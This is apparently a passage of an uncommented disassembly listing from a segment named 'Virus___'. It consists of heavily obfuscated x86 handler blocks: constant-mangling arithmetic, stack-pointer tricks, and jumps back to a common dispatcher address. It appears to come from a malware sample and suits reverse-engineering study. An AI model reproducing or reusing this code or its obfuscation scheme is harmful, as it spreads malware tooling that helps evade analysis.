		add	esi, edx
		pop	edx
		add	esi, 4
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_5642B6
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	6FBFh
		mov	[esp], eax
		push	esp
		mov	eax, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, 412B6ED9h
		jmp	loc_551668
; ---------------------------------------------------------------------------


loc_553E2F:				; CODE XREF: Virus___:005635ADj
		sub	esp, 4
		jmp	loc_561CD7
; ---------------------------------------------------------------------------


loc_553E3A:				; CODE XREF: Virus___:00561E31j
		dec	ebx
		xor	ebx, 0D957C3DAh
		sub	eax, ebx
		jmp	loc_563AF6
; ---------------------------------------------------------------------------


loc_553E48:				; CODE XREF: Virus___:0055101Fj
		pop	edx
		mov	ebx, [esp]
		jmp	loc_557F85
; ---------------------------------------------------------------------------


loc_553E51:				; CODE XREF: Virus___:0055AA63j
		push	0
		sub	[esp], ebp
		pop	ebp
		sub	ebp, 1
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 53781274h
		xchg	esi, edx
		jmp	loc_558816
; ---------------------------------------------------------------------------


loc_553E72:				; CODE XREF: Virus___:00551223j
		sub	eax, 0D75AAABBh
		add	ebx, 615A07A8h
		add	ebx, eax
		sub	ebx, 615A07A8h
		pop	eax
		xchg	ebx, [esp]
		mov	esp, [esp]
		shl	word ptr [esp],	cl
		pushf
		jmp	loc_54F7ED
; ---------------------------------------------------------------------------


loc_553E96:				; CODE XREF: Virus___:00561ABBj
		pop	esp
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	esi
		mov	esi, 5E09371Ah
		inc	esi
		push	ebp
		mov	ebp, 3828156Dh
		shr	ebp, 7
		xor	ebp, 7BF2120Bh
		dec	ebp
		sub	ebp, 1
		add	ebp, 0DE5710C1h
		sub	esi, 33911CFDh
		add	esi, ebp
		add	esi, 33911CFDh
		mov	ebp, [esp]
		add	esp, 4
		dec	esi
		sub	esi, 519B7FE3h
		xor	eax, esi
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		push	dword ptr [edi+eax*4]
		push	dword ptr [esp]
		pop	eax
		push	4414h
		mov	[esp], ebp
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	ebp, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, 15EE2C08h
		jmp	loc_550745
; ---------------------------------------------------------------------------


loc_553F18:				; CODE XREF: Virus___:005507F5j
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], edx
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		add	esp, 4
		jmp	loc_5606C6
; ---------------------------------------------------------------------------


loc_553F3D:				; CODE XREF: Virus___:00563C52j
		pop	ebp
		add	ecx, 0EC03D65Ah
		add	ebx, ecx
		pop	ecx
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_55A4B1
; ---------------------------------------------------------------------------


loc_553F52:				; CODE XREF: Virus___:005529D5j
		mov	edi, 2A56236Bh
		add	edi, 0D5A9DC99h
		add	edx, edi
		pop	edi
		xchg	edx, [esp]
		pop	esp
		push	ecx
		push	eax
		push	ebx
		jmp	loc_55896A
; ---------------------------------------------------------------------------


loc_553F6C:				; CODE XREF: Virus___:00551A5Ej
		xor	edx, ebx
		pop	ebx
		mov	eax, edx
		pop	edx
		shl	eax, cl
		jmp	loc_54FC53
; ---------------------------------------------------------------------------


loc_553F79:				; CODE XREF: Virus___:005501CBj
		push	ecx
		jmp	loc_556DC6
; ---------------------------------------------------------------------------


loc_553F7F:				; CODE XREF: Virus___:00559328j
		add	eax, 0E0FB51A3h
		jmp	loc_55B050
; ---------------------------------------------------------------------------


loc_553F89:				; CODE XREF: Virus___:00557862j
		mov	[esp], eax
		push	4
		mov	eax, [esp]
		jmp	loc_560126
; ---------------------------------------------------------------------------


loc_553F99:				; CODE XREF: Virus___:005632B9j
		mov	eax, [esp]
		push	4FEh
		mov	[esp], esi
		push	esp
		jmp	loc_562E4A
; ---------------------------------------------------------------------------


loc_553FAA:				; CODE XREF: Virus___:0055010Cj
		add	ecx, 0A1E7028h
		shr	ecx, 2
		push	ebp
		jmp	loc_554E8D
; ---------------------------------------------------------------------------


loc_553FB9:				; CODE XREF: Virus___:00554997j
		inc	eax
		or	eax, 77CF309Dh
		shr	eax, 2
		xor	eax, 0CDAE9570h
		jmp	loc_560786
; ---------------------------------------------------------------------------


loc_553FCC:				; CODE XREF: Virus___:0055E6B7j
		shr	eax, 2
		jmp	loc_54FD89
; ---------------------------------------------------------------------------


loc_553FD4:				; CODE XREF: Virus___:0055BE45j
		sub	ebx, 4
		push	ebx
		jmp	loc_55CA2C
; ---------------------------------------------------------------------------


loc_553FDD:				; CODE XREF: Virus___:0055511Aj
		push	edi
		mov	edi, 8E105570h
		jmp	loc_558729
; ---------------------------------------------------------------------------


loc_553FE8:				; CODE XREF: Virus___:0055A13Bj
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], eax
		jmp	loc_5553A3
; ---------------------------------------------------------------------------


loc_554000:				; CODE XREF: Virus___:005525CCj
		mov	ecx, [esp]
		jmp	loc_55DF00
; ---------------------------------------------------------------------------


loc_554008:				; CODE XREF: Virus___:005607A5j
		push	612Dh
		mov	[esp], ebp
		mov	ebp, esp
		push	eax
		push	4202h
		jmp	loc_562977
; ---------------------------------------------------------------------------


loc_55401D:				; CODE XREF: Virus___:0055A982j
		add	eax, edi
		sub	eax, 64E5098Dh
		pop	edi
		push	59E8h
		mov	[esp], esi
		push	4
		pop	esi
		add	eax, 33337BD0h
		add	eax, esi
		sub	eax, 33337BD0h
		mov	esi, [esp]
		add	esp, 4
		push	21F4h
		mov	[esp], eax
		push	dword ptr [esp+4]
		mov	eax, [esp]
		push	esi
		push	esp
		jmp	loc_553BA6
; ---------------------------------------------------------------------------


loc_55405E:				; CODE XREF: Virus___:005590AFj
		add	ecx, ebp
		pop	ebp
		xor	ecx, [esp]
		xor	[esp], ecx
		jmp	loc_555A6C
; ---------------------------------------------------------------------------


loc_55406C:				; CODE XREF: Virus___:00562D46j
		and	edx, eax
		mov	eax, [esp]
		add	esp, 4
		add	edx, 0DB7BEEE4h
		jmp	loc_55A600
; ---------------------------------------------------------------------------


loc_55407F:				; CODE XREF: Virus___:005522E6j
		inc	eax
		neg	eax
		shl	eax, 4
		jmp	loc_55AA06
; ---------------------------------------------------------------------------


loc_55408A:				; CODE XREF: Virus___:00553D82j
		mov	ecx, 41784ACEh
		xor	ebx, ecx
		pop	ecx
		xor	eax, ebx
		pop	ebx
		add	ecx, 48644F23h
		jmp	loc_55C23B
; ---------------------------------------------------------------------------


loc_5540A0:				; CODE XREF: Virus___:0055642Fj
		push	eax
		mov	eax, 6173615Eh
		or	esi, eax
		pop	eax
		push	ecx
		mov	ecx, 32A822A9h
		add	esi, ecx
		pop	ecx
		sub	esi, 8C515B7h
		xor	esi, 3170E0F5h
		xor	ebp, esi
		pop	esi
		add	esi, ebp
		jmp	loc_55083B
; ---------------------------------------------------------------------------


loc_5540C8:				; CODE XREF: Virus___:00552973j
		mov	edx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebp
		push	6915h
		mov	[esp], edx
		push	edx
		mov	edx, esp
		jmp	loc_564076
; ---------------------------------------------------------------------------


loc_5540EA:				; CODE XREF: Virus___:0055547Cj
		push	dword ptr [esp]
		mov	eax, [esp]
		push	edx
		push	10Ah
		jmp	loc_5571B4
; ---------------------------------------------------------------------------


loc_5540FB:				; CODE XREF: Virus___:00555183j
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		shr	ecx, 6
		sub	esp, 4
		jmp	loc_5624E7
; ---------------------------------------------------------------------------


loc_55410D:				; CODE XREF: Virus___:00557554j
		push	edx
		jmp	loc_56156C
; ---------------------------------------------------------------------------


loc_554113:				; CODE XREF: Virus___:005591F5j
		pop	esp
		add	ebx, 5C276B00h
		push	ecx
		jmp	loc_55D723
; ---------------------------------------------------------------------------


loc_554120:				; CODE XREF: Virus___:0055C280j
		add	bl, al
		push	small 1A8Eh
		jmp	loc_55741E
; ---------------------------------------------------------------------------


loc_55412B:				; CODE XREF: Virus___:00552FD9j
		mov	[esp], ax
		mov	ah, 0F5h
		mov	cl, ah
		jmp	loc_563062
; ---------------------------------------------------------------------------


loc_554138:				; CODE XREF: Virus___:0055BCCBj
		push	1AC0h
		mov	[esp], ebp
		sub	esp, 4
		push	4E26h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		pop	ebp
		add	ebp, 4
		jmp	loc_553A70
; ---------------------------------------------------------------------------


loc_554165:				; CODE XREF: Virus___:0055E700j
		push	dword ptr [esp+4]
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_55B5D1
; ---------------------------------------------------------------------------


loc_554177:				; CODE XREF: Virus___:00551837j
		add	edx, 8745A2CCh
		add	ebp, edx
		pop	edx
		jmp	loc_5573B5
; ---------------------------------------------------------------------------


loc_554185:				; CODE XREF: Virus___:0054FC0Aj
		pop	esi
		xchg	edi, [esp]
		pop	esp
		push	esp
		pop	dword ptr [esp]
		sub	esp, 4
		mov	[esp], edx
		push	edi
		mov	edi, 8FB6E6Dh
		jmp	loc_554CAF
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], esi
		push	esp
		jmp	loc_55D665
; ---------------------------------------------------------------------------


loc_5541BF:				; CODE XREF: Virus___:00558E37j
		pop	esp
		jmp	loc_55CAD2
; ---------------------------------------------------------------------------


loc_5541C5:				; CODE XREF: Virus___:0055F7A8j
		xor	[esp], eax
		not	eax
		jmp	loc_55A406
; ---------------------------------------------------------------------------


loc_5541CF:				; CODE XREF: Virus___:00552735j
		shl	edx, 1
		sub	esp, 4
		jmp	loc_5553D2
; ---------------------------------------------------------------------------


loc_5541D9:				; CODE XREF: Virus___:0055F469j
		shr	edx, 8
		shl	edx, 2
		jmp	loc_550AD7
; ---------------------------------------------------------------------------


loc_5541E4:				; CODE XREF: Virus___:005636D0j
		xchg	edx, edi
		dec	edx
		not	edx
		xchg	edx, edi
		xor	edi, 192E1CE3h
		neg	edi
		jmp	loc_55C043
; ---------------------------------------------------------------------------


loc_5541F8:				; CODE XREF: Virus___:0055AB4Dj
		push	ebx
		push	78D2h
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_552B4F
; ---------------------------------------------------------------------------


loc_55420D:				; CODE XREF: Virus___:0055DEB9j
		mov	ch, 82h
		jmp	loc_5546CB
; ---------------------------------------------------------------------------


loc_554214:				; CODE XREF: Virus___:00554B87j
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		or	ah, 0C9h
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_55B51A
; ---------------------------------------------------------------------------


loc_55422C:				; CODE XREF: Virus___:00563E2Ej
		pop	ebx
		not	edi
		jmp	loc_55CEBD
; ---------------------------------------------------------------------------


loc_554234:				; CODE XREF: Virus___:0055CD38j
		push	3645h
		mov	[esp], ebx
		push	esp
		jmp	loc_561EE7
; ---------------------------------------------------------------------------


loc_554242:				; CODE XREF: Virus___:00560FCBj
		mov	ecx, [esp]
		jmp	loc_55F067
; ---------------------------------------------------------------------------


loc_55424A:				; CODE XREF: Virus___:0055BCE3j
		pop	ecx
		jmp	loc_555278
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	eax
		jmp	loc_553215
; ---------------------------------------------------------------------------


loc_55425A:				; CODE XREF: Virus___:005605DDj
		dec	edx
		jmp	loc_551B59
; ---------------------------------------------------------------------------


loc_554260:				; CODE XREF: Virus___:0055379Bj
		pop	edi
		add	edx, 6EAC7F42h
		sub	edx, eax
		push	ebx
		mov	ebx, 6EAC7F42h
		push	ebx
		mov	ebx, 37615FA2h
		add	edx, ebx
		jmp	loc_55C03A
; ---------------------------------------------------------------------------


loc_55427C:				; CODE XREF: Virus___:0055BFE0j
		xchg	ebx, [esp]
		jmp	loc_55C97E
; ---------------------------------------------------------------------------


loc_554284:				; CODE XREF: Virus___:00550D81j
		push	esp
		pop	eax
		add	eax, 4
		jmp	loc_560D80
; ---------------------------------------------------------------------------


loc_554290:				; CODE XREF: Virus___:005523EAj
		xor	ebx, [esp]
		mov	esp, [esp]
		and	[esp], al
		pushf
		jmp	loc_54F7ED
; ---------------------------------------------------------------------------


loc_55429F:				; CODE XREF: Virus___:00559364j
		push	ebx
		mov	ebx, 0FC83C57Ch
		add	esi, ebx
		pop	ebx
		add	ebp, esi
		jmp	loc_5560C3
; ---------------------------------------------------------------------------


loc_5542AF:				; CODE XREF: Virus___:005642DDj
		xor	edi, 52AE01DDh
		mov	ebp, edi
		mov	edi, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_5614AB
; ---------------------------------------------------------------------------


loc_5542D1:				; CODE XREF: Virus___:0055D907j
		mov	[esp], ebx
		jmp	loc_555937
; ---------------------------------------------------------------------------


loc_5542D9:				; CODE XREF: Virus___:0056273Dj
		sub	ecx, 7F5BE502h
		jmp	loc_553D57
; ---------------------------------------------------------------------------


loc_5542E4:				; CODE XREF: Virus___:005554C6j
		mov	ebp, 4
		add	edx, 0BB14ED7h
		jmp	loc_55704C
; ---------------------------------------------------------------------------


loc_5542F4:				; CODE XREF: Virus___:00559A84j
		push	esp
		pop	esi
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 331164BFh
		shr	ecx, 3
		jmp	loc_555D2C
; ---------------------------------------------------------------------------


loc_554309:				; CODE XREF: Virus___:0055F677j
		add	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], ebx
		push	ax
		push	ecx
		jmp	loc_555E24
; ---------------------------------------------------------------------------


loc_55432F:				; CODE XREF: Virus___:0055CDA8j
		sub	ebx, 0FDF4496h
		sub	ebx, ebp
		add	ebx, 0FDF4496h
		pop	ebp
		jmp	loc_54F8F3
; ---------------------------------------------------------------------------


loc_554343:				; CODE XREF: Virus___:00561C98j
		sub	edi, 11D94929h
		add	edi, 0DE533BEEh
		jmp	loc_5643BA
; ---------------------------------------------------------------------------


loc_554354:				; CODE XREF: Virus___:00561DF0j
		push	eax
		push	50B3h
		mov	[esp], ebp
		mov	ebp, 62560A99h
		push	eax
		push	edx
		mov	edx, 7599559Bh
		mov	eax, 8A66AA66h
		sub	eax, 4C4E4968h
		sub	eax, 3DFD68A1h
		add	eax, edx
		jmp	loc_55B008
; ---------------------------------------------------------------------------


loc_55437F:				; CODE XREF: Virus___:00556A9Ej
		mov	[esp], ebx
		mov	ebx, 4
		add	esi, ebx
		jmp	loc_554FDC
; ---------------------------------------------------------------------------


loc_55438E:				; CODE XREF: Virus___:0056166Cj
		push	30F4h
		mov	[esp], esi
		jmp	loc_55C0C9
; ---------------------------------------------------------------------------


loc_55439B:				; CODE XREF: Virus___:0055B298j
		xor	edx, edi
		pop	edi
		add	ebp, edx
		pop	edx
		jmp	loc_556210
; ---------------------------------------------------------------------------


loc_5543A6:				; CODE XREF: Virus___:0055E4D6j
		not	esi
		shl	esi, 7
		jmp	loc_55B9E7
; ---------------------------------------------------------------------------


loc_5543B0:				; CODE XREF: Virus___:005572AEj
		push	ebx
		push	ecx
		mov	cl, 0C5h
		jmp	loc_5571C3
; ---------------------------------------------------------------------------


loc_5543B9:				; CODE XREF: Virus___:005563BEj
		shr	eax, 5
		inc	eax
		add	eax, 60FBC557h
		add	ebx, 63580E3Bh
		sub	ebx, eax
		sub	ebx, 63580E3Bh
		pop	eax
		not	ebx
		push	edi
		mov	edi, 12CCF8A6h
		add	ebx, edi
		jmp	loc_551DD6
; ---------------------------------------------------------------------------


loc_5543E0:				; CODE XREF: Virus___:00559D74j
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		mov	[esp], ax
		jmp	loc_54F7ED
; ---------------------------------------------------------------------------


loc_5543F5:				; CODE XREF: Virus___:0055F658j
		pop	edi
		sub	ebp, 0FFFFFFFFh
		neg	ebp
		push	esi
		mov	esi, 41122444h
		add	ebp, esi
		pop	esi
		shl	ebp, 1
		sub	ebp, 0AD67CAB4h
		add	esi, ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_557D16
; ---------------------------------------------------------------------------


loc_554419:				; CODE XREF: Virus___:0055555Bj
		add	ecx, 4
		jmp	loc_552C05
; ---------------------------------------------------------------------------


loc_554424:				; CODE XREF: Virus___:0055C86Bj
		push	ebx
		jmp	loc_558C6F
; ---------------------------------------------------------------------------


loc_55442A:				; CODE XREF: Virus___:0055E9D2j
		xchg	edi, [esp]
		pop	esp
		mov	[esp], esp
		push	eax
		mov	eax, 4
		sub	dword ptr [esp+4], 67EE63A5h
		add	[esp+4], eax
		add	dword ptr [esp+4], 67EE63A5h
		jmp	loc_55A7E1
; ---------------------------------------------------------------------------


loc_554450:				; CODE XREF: Virus___:0055B862j
		xor	ebx, 2D063FD8h
		add	ebx, 96BCC476h
		sub	edi, ebx
		pop	ebx
		sub	edi, ebx
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 71CF4526h
		add	edi, esi
		pop	esi
		pop	ebx
		xchg	edi, [esp]
		pop	esp
		mov	[esp], edi
		push	dword ptr [esp+4]
		jmp	loc_551C9A
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		jmp	loc_555283
; ---------------------------------------------------------------------------


loc_554489:				; CODE XREF: Virus___:005504FDj
		add	[esp+2], si
		add	word ptr [esp+2], 119Ah
		sub	esp, 2
		mov	[esp], ax
		mov	ax, 3A9Fh
		add	word ptr [esp+4], 46DDh
		sub	[esp+4], ax
		push	di
		mov	di, 46DDh
		jmp	loc_559D33
; ---------------------------------------------------------------------------


loc_5544B7:				; CODE XREF: Virus___:00560568j
		mov	edx, [esp]
		add	esp, 4
		sub	edx, 11522796h
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_55A8BC
; ---------------------------------------------------------------------------


loc_5544D1:				; CODE XREF: Virus___:0055D549j
		mov	esp, [esp]
		jmp	loc_555471
; ---------------------------------------------------------------------------


loc_5544D9:				; CODE XREF: Virus___:00559459j
		mov	esi, ecx
		jmp	loc_55F56B
; ---------------------------------------------------------------------------


loc_5544E0:				; CODE XREF: Virus___:00557A6Bj
		add	ebx, 4
		push	ebx
		jmp	loc_55395F
; ---------------------------------------------------------------------------
		lodsd
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_559FF6
; ---------------------------------------------------------------------------


loc_5544F5:				; CODE XREF: Virus___:0054FBC8j
		add	esp, 4
		shl	ecx, 3
		sub	ecx, 9B8664EFh
		mov	edi, ecx
		pop	ecx
		push	ebp
		mov	ebp, 3C2D5F75h
		push	ebp
		mov	ebp, 7C846F46h
		add	edi, ebp
		pop	ebp
		sub	edi, ebp
		push	6E44h
		jmp	loc_55EB21
; ---------------------------------------------------------------------------


loc_55451F:				; CODE XREF: Virus___:0055A5FBj
		mov	edx, 4EB6519Eh
		and	eax, edx
		pop	edx
		sub	eax, 94F624F0h
		mov	ecx, eax
		pop	eax
		sub	ecx, 236B4F47h
		jmp	loc_55BEE8
; ---------------------------------------------------------------------------


loc_55453A:				; CODE XREF: Virus___:00561BF1j
		mov	esi, eax
		pop	eax
		xchg	ebx, esi
		jmp	loc_5505E6
; ---------------------------------------------------------------------------


loc_554544:				; CODE XREF: Virus___:00563F55j
		pop	esp
		jmp	loc_5639C8
; ---------------------------------------------------------------------------


loc_55454A:				; CODE XREF: Virus___:00551573j
		mov	esi, 0ACE8D9C3h
		jmp	loc_55CEF2
; ---------------------------------------------------------------------------


loc_554554:				; CODE XREF: Virus___:0055CE5Ej
		push	726Fh
		mov	[esp], eax
		push	dword ptr [esp+4]
		mov	eax, [esp]
		jmp	loc_5616F8
; ---------------------------------------------------------------------------


loc_554568:				; CODE XREF: Virus___:005577F0j
		pop	eax
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_551520
; ---------------------------------------------------------------------------


loc_554574:				; CODE XREF: Virus___:0055F36Cj
		inc	ecx
		add	ecx, 1
		not	ecx
		jmp	loc_552415
; ---------------------------------------------------------------------------


loc_554582:				; CODE XREF: Virus___:00560326j
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], edi
		push	ebx
		push	43A07A09h
		jmp	loc_55C783
; ---------------------------------------------------------------------------


loc_55459A:				; CODE XREF: Virus___:0055D680j
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_562CEA
; ---------------------------------------------------------------------------


loc_5545A9:				; CODE XREF: Virus___:0055E7D5j
		pop	esp
		mov	[esp], edi
		push	636Fh
		mov	[esp], ebx
		push	7814h
		mov	[esp], ecx
		jmp	loc_55DB24
; ---------------------------------------------------------------------------


loc_5545C2:				; CODE XREF: Virus___:005579DEj
		pop	esp
		push	esp
		pop	dword ptr [esp]
		push	eax
		push	esi
		mov	esi, 0B35ABh
		shr	esi, 6
		jmp	loc_55C9CD
; ---------------------------------------------------------------------------


loc_5545D6:				; CODE XREF: Virus___:0055C11Cj
		push	edi
		jmp	loc_55B954
; ---------------------------------------------------------------------------


loc_5545DC:				; CODE XREF: Virus___:00562811j
		push	eax
		not	dword ptr [esp]
		mov	eax, [esp]
		jmp	loc_555DDB
; ---------------------------------------------------------------------------


loc_5545E8:				; CODE XREF: Virus___:00556DAFj
		pop	edi
		push	ecx
		mov	ecx, 65F91F9Eh
		sub	ecx, 39C507C4h
		and	ecx, 378F10AFh
		jmp	loc_554B8C
; ---------------------------------------------------------------------------


loc_554600:				; CODE XREF: Virus___:00560A39j
		add	esp, 4
		add	bl, 0B4h
		jmp	loc_55D9B4
; ---------------------------------------------------------------------------


loc_55460B:				; CODE XREF: Virus___:005646A8j
		add	ebx, eax
		push	ebp
		push	edi
		mov	edi, 317052B6h
		mov	ebp, 27446E52h
		xor	ebp, edi
		mov	edi, [esp]
		add	esp, 4
		add	ebx, ebp
		jmp	loc_55C9D8
; ---------------------------------------------------------------------------


loc_554628:				; CODE XREF: Virus___:0055813Dj
		pop	esp
		mov	[esp], eax
		mov	eax, 4
		push	edi
		mov	edi, 47EA5ECBh
		not	edi
		add	edi, 6C1E83DEh
		add	edi, 0F241A59h
		add	ebx, 6EC07342h
		sub	ebx, edi
		sub	ebx, 6EC07342h
		mov	edi, [esp]
		add	esp, 4
		add	ebx, eax
		add	ebx, 33583F6Bh
		mov	eax, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_554E6C
; ---------------------------------------------------------------------------


loc_55467B:				; CODE XREF: Virus___:005590EDj
		push	esi
		mov	esi, 25F5106Bh
		xor	esi, 19B25265h
		xor	esi, 598F5CB0h
		shl	esi, 6
		inc	esi
		xor	esi, 7297A8B2h
		sub	ebp, esi
		pop	esi
		sub	ebp, esi
		jmp	loc_560F0B
; ---------------------------------------------------------------------------


loc_5546A1:				; CODE XREF: Virus___:00557D64j
		sub	eax, esi
		sub	esp, 4
		jmp	loc_556C70
; ---------------------------------------------------------------------------


loc_5546AE:				; CODE XREF: Virus___:0055A6E2j
		pop	edi
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		mov	cx, [esp]
		sub	esp, 4
		mov	[esp], eax
		push	esp
		jmp	loc_5511EF
; ---------------------------------------------------------------------------


loc_5546CB:				; CODE XREF: Virus___:0055420Fj
		sub	al, ch
		jmp	loc_561403
; ---------------------------------------------------------------------------


loc_5546D2:				; CODE XREF: Virus___:00558CAEj
		push	ebx
		jmp	loc_558825
; ---------------------------------------------------------------------------


loc_5546D8:				; CODE XREF: Virus___:0055E7B8j
		mov	edi, ebx
		jmp	loc_5567F5
; ---------------------------------------------------------------------------


loc_5546DF:				; CODE XREF: Virus___:00559232j
		push	ebx
		push	eax
		push	38056A6Dh
		mov	eax, [esp]
		jmp	loc_54F7F3
; ---------------------------------------------------------------------------


loc_5546EE:				; CODE XREF: Virus___:0054F83Aj
		pop	edi
		or	eax, 0C871FD6h
		xor	eax, 1FD26283h
		add	eax, 467E2590h
		push	edi
		push	ebx
		push	6C5C20BEh
		pop	ebx
		sub	ebx, 1
		sub	ebx, 0B3609DD5h
		jmp	loc_55C957
; ---------------------------------------------------------------------------


loc_554717:				; CODE XREF: Virus___:00562AC0j
		mov	edi, esp
		jmp	loc_564CCA
; ---------------------------------------------------------------------------


loc_55471E:				; CODE XREF: Virus___:005617F1j
		mov	ebx, 2
		add	edx, ebx
		pop	ebx
		push	edi
		jmp	loc_5507ED
; ---------------------------------------------------------------------------


loc_55472C:				; CODE XREF: Virus___:0055C01Dj
		pop	ebx
		jmp	loc_55C7C3
; ---------------------------------------------------------------------------


loc_554732:				; CODE XREF: Virus___:005647D7j
		add	esi, 0F8A468F7h
		jmp	loc_5512FA
; ---------------------------------------------------------------------------


loc_55473D:				; CODE XREF: Virus___:00555273j
		push	edi
		push	7743h
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	edi, [esp]
		add	esp, 4
		push	eax
		jmp	loc_55D719
; ---------------------------------------------------------------------------


loc_554759:				; CODE XREF: Virus___:0054FB7Dj
		pop	edi
		add	eax, esi
		sub	eax, 6BE07868h
		pop	esi
		push	68CDh
		mov	[esp], ebp
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 34E474F9h
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_557F12
; ---------------------------------------------------------------------------


loc_55478D:				; CODE XREF: Virus___:00551904j
		mov	esp, [esp]
		mov	[esp], eax
		jmp	loc_54F7ED
; ---------------------------------------------------------------------------


loc_554798:				; CODE XREF: Virus___:0054FEF6j
		add	edx, 42123650h
		mov	ebp, edx
		pop	edx
		xor	ebp, edi
		jmp	loc_5566E2
; ---------------------------------------------------------------------------
		neg	dword ptr [esp]
		pushf
		jmp	loc_555AB8
; ---------------------------------------------------------------------------


loc_5547B1:				; CODE XREF: Virus___:0055BBC7j
		add	esp, 4
		push	esi
		push	534h
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	esi, [esp]
		add	esp, 4
		push	ecx
		jmp	loc_56386F
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	2A64h
		mov	[esp], edi
		push	41A1h
		jmp	loc_554FE5
; ---------------------------------------------------------------------------


loc_5547E9:				; CODE XREF: Virus___:00550470j
		add	ecx, edx
		jmp	loc_55387C
; ---------------------------------------------------------------------------


loc_5547F0:				; CODE XREF: Virus___:00550CC3j
		pop	esp
		mov	edi, ecx
		pop	ecx
		push	0B3C95581h
		jmp	loc_551705
; ---------------------------------------------------------------------------


loc_5547FE:				; CODE XREF: Virus___:0055D8DDj
		xor	bl, 0E9h
		sub	al, 9Ah
		push	small 4FE2h
		mov	[esp], bx
		mov	bl, 3Ah
		add	al, bl
		mov	bx, [esp]
		add	esp, 2
		push	ebx
		jmp	loc_5588A6
; ---------------------------------------------------------------------------


loc_55481C:				; CODE XREF: Virus___:00555E60j
		sub	al, 2Ah
		jmp	loc_56281C
; ---------------------------------------------------------------------------


loc_554823:				; CODE XREF: Virus___:00553012j
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		add	esp, 4
		jmp	loc_55AB96
; ---------------------------------------------------------------------------


loc_55483A:				; CODE XREF: Virus___:0055B61Cj
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		xor	[esp], al
		pushf
		jmp	loc_54F7ED
; ---------------------------------------------------------------------------


loc_55484F:				; CODE XREF: Virus___:0055DC53j
		pop	edx
		jmp	loc_5629BD
; ---------------------------------------------------------------------------


loc_554855:				; CODE XREF: Virus___:00556022j
		push	5C03h
		mov	[esp], eax
		push	edi
		mov	edi, 60805FD6h
		shl	edi, 7
		push	ebx
		push	eax
		jmp	loc_558B01
; ---------------------------------------------------------------------------


loc_55486D:				; CODE XREF: Virus___:0055AAC6j
		mov	[esp], eax
		mov	al, 0Ch
		jmp	loc_551241
; ---------------------------------------------------------------------------


loc_554877:				; CODE XREF: Virus___:0055D097j
		push	ebp
		xor	dword ptr [esp], 0D080CF5h
		pop	edx
		jmp	loc_55241B
; ---------------------------------------------------------------------------


loc_554885:				; CODE XREF: Virus___:00552283j
		mov	ebx, [esp]
		add	esp, 4
		sub	ebx, esi
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		add	ebx, esi
		add	ebx, 110C5A24h
		mov	esi, [esp]
		add	esp, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		jmp	loc_55C00E
; ---------------------------------------------------------------------------


loc_5548B3:				; CODE XREF: Virus___:0056368Dj
		push	ecx
		mov	ch, 0D9h
		xor	ch, 0C2h
		add	ch, 0ECh
		sub	ch, 97h
		dec	ch
		xor	ch, 5
		push	eax
		mov	ah, ch
		push	ebx
		mov	bl, ah
		mov	dl, bl
		pop	ebx
		mov	eax, [esp]
		jmp	loc_55D7E4
; ---------------------------------------------------------------------------


loc_5548D5:				; CODE XREF: Virus___:00559793j
		add	esp, 4
		sub	eax, edx
		pop	edx
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_551CAB
; ---------------------------------------------------------------------------


loc_5548E6:				; CODE XREF: Virus___:0055CF7Dj
		mov	edx, 68465281h
		jmp	loc_560E56
; ---------------------------------------------------------------------------


